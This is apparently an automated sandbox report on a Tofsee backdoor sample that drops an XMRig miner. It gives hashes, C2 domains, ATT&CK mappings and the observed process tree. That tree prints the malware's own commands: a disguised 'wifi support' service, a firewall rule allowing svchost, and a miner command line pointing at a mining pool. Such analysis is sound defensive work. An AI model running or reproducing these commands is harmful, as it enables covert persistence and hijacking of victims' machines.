Analysis

  • max time kernel
    188s
  • max time network
    193s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    03-12-2022 06:50

General

  • Target

    33dbfe82ab8f840bc7de23a02d6c7c08e98ca5e21d9bf1e53499baf3c3a1394e.exe

  • Size

    184KB

  • MD5

    edbbbe07f8126eead83d073a73ab0da2

  • SHA1

    760c5e661efcfac013e0147263f80c2f2bf8be38

  • SHA256

    33dbfe82ab8f840bc7de23a02d6c7c08e98ca5e21d9bf1e53499baf3c3a1394e

  • SHA512

    fefe77cd0cdfc3952534bff4600758495c383bad07fa8415cbbd27a13fa1be7c915dcf505580a5b69ef5304335aadaf8c2573782fde154f152c8a0a2d688270d

  • SSDEEP

    3072:j3BMNdO3Do5EvQW5KicTuIFhNZbPdRFZw/mW8Kewj:1Mio5EGBuIFhNZbV5JKt

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\33dbfe82ab8f840bc7de23a02d6c7c08e98ca5e21d9bf1e53499baf3c3a1394e.exe
    "C:\Users\Admin\AppData\Local\Temp\33dbfe82ab8f840bc7de23a02d6c7c08e98ca5e21d9bf1e53499baf3c3a1394e.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:960
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\imhdxech\
      2⤵
        PID:1168
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dfitoixy.exe" C:\Windows\SysWOW64\imhdxech\
        2⤵
          PID:560
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create imhdxech binPath= "C:\Windows\SysWOW64\imhdxech\dfitoixy.exe /d\"C:\Users\Admin\AppData\Local\Temp\33dbfe82ab8f840bc7de23a02d6c7c08e98ca5e21d9bf1e53499baf3c3a1394e.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1788
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description imhdxech "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1820
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start imhdxech
          2⤵
          • Launches sc.exe
          PID:1768
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1936
      • C:\Windows\SysWOW64\imhdxech\dfitoixy.exe
        C:\Windows\SysWOW64\imhdxech\dfitoixy.exe /d"C:\Users\Admin\AppData\Local\Temp\33dbfe82ab8f840bc7de23a02d6c7c08e98ca5e21d9bf1e53499baf3c3a1394e.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:276
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:108
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:468

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Modify Registry

      1
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\dfitoixy.exe
        Filesize

        11.8MB

        MD5

        da0d45393462195229d37c2e4a46460b

        SHA1

        cb6ce6eaf3054a9bd896bc0b2f73d316463db70d

        SHA256

        ded57473f9c89501a6ce2b2bfa72276b3b568b5fd0673507828bcdc0a947e226

        SHA512

        fd246dab44b3f49fcb60211cf713d15a0c8522765cf4298a969396e7523e76af3a01a82b35650ee16d4a194dfc23ca30f311fbfcc82cab5374ec987d9a93bd2f

      • C:\Windows\SysWOW64\imhdxech\dfitoixy.exe
        Filesize

        11.8MB

        MD5

        da0d45393462195229d37c2e4a46460b

        SHA1

        cb6ce6eaf3054a9bd896bc0b2f73d316463db70d

        SHA256

        ded57473f9c89501a6ce2b2bfa72276b3b568b5fd0673507828bcdc0a947e226

        SHA512

        fd246dab44b3f49fcb60211cf713d15a0c8522765cf4298a969396e7523e76af3a01a82b35650ee16d4a194dfc23ca30f311fbfcc82cab5374ec987d9a93bd2f

      • memory/108-83-0x0000000000160000-0x0000000000166000-memory.dmp
        Filesize

        24KB

      • memory/108-70-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/108-73-0x0000000000089A6B-mapping.dmp
      • memory/108-79-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/108-86-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/108-89-0x00000000001B0000-0x00000000001B5000-memory.dmp
        Filesize

        20KB

      • memory/108-92-0x0000000005AB0000-0x0000000005EBB000-memory.dmp
        Filesize

        4.0MB

      • memory/108-72-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/108-99-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/108-80-0x0000000001A30000-0x0000000001C3F000-memory.dmp
        Filesize

        2.1MB

      • memory/108-95-0x00000000001C0000-0x00000000001C7000-memory.dmp
        Filesize

        28KB

      • memory/276-98-0x0000000000400000-0x0000000000464000-memory.dmp
        Filesize

        400KB

      • memory/276-77-0x0000000000400000-0x0000000000464000-memory.dmp
        Filesize

        400KB

      • memory/276-76-0x00000000005FD000-0x000000000060E000-memory.dmp
        Filesize

        68KB

      • memory/468-100-0x0000000000080000-0x0000000000171000-memory.dmp
        Filesize

        964KB

      • memory/468-102-0x0000000000080000-0x0000000000171000-memory.dmp
        Filesize

        964KB

      • memory/468-107-0x000000000011259C-mapping.dmp
      • memory/560-59-0x0000000000000000-mapping.dmp
      • memory/960-58-0x0000000000400000-0x0000000000464000-memory.dmp
        Filesize

        400KB

      • memory/960-54-0x0000000074D81000-0x0000000074D83000-memory.dmp
        Filesize

        8KB

      • memory/960-57-0x0000000000220000-0x0000000000233000-memory.dmp
        Filesize

        76KB

      • memory/960-56-0x000000000051D000-0x000000000052E000-memory.dmp
        Filesize

        68KB

      • memory/960-66-0x0000000000400000-0x0000000000464000-memory.dmp
        Filesize

        400KB

      • memory/960-65-0x000000000051D000-0x000000000052E000-memory.dmp
        Filesize

        68KB

      • memory/1168-55-0x0000000000000000-mapping.dmp
      • memory/1768-63-0x0000000000000000-mapping.dmp
      • memory/1788-61-0x0000000000000000-mapping.dmp
      • memory/1820-62-0x0000000000000000-mapping.dmp
      • memory/1936-64-0x0000000000000000-mapping.dmp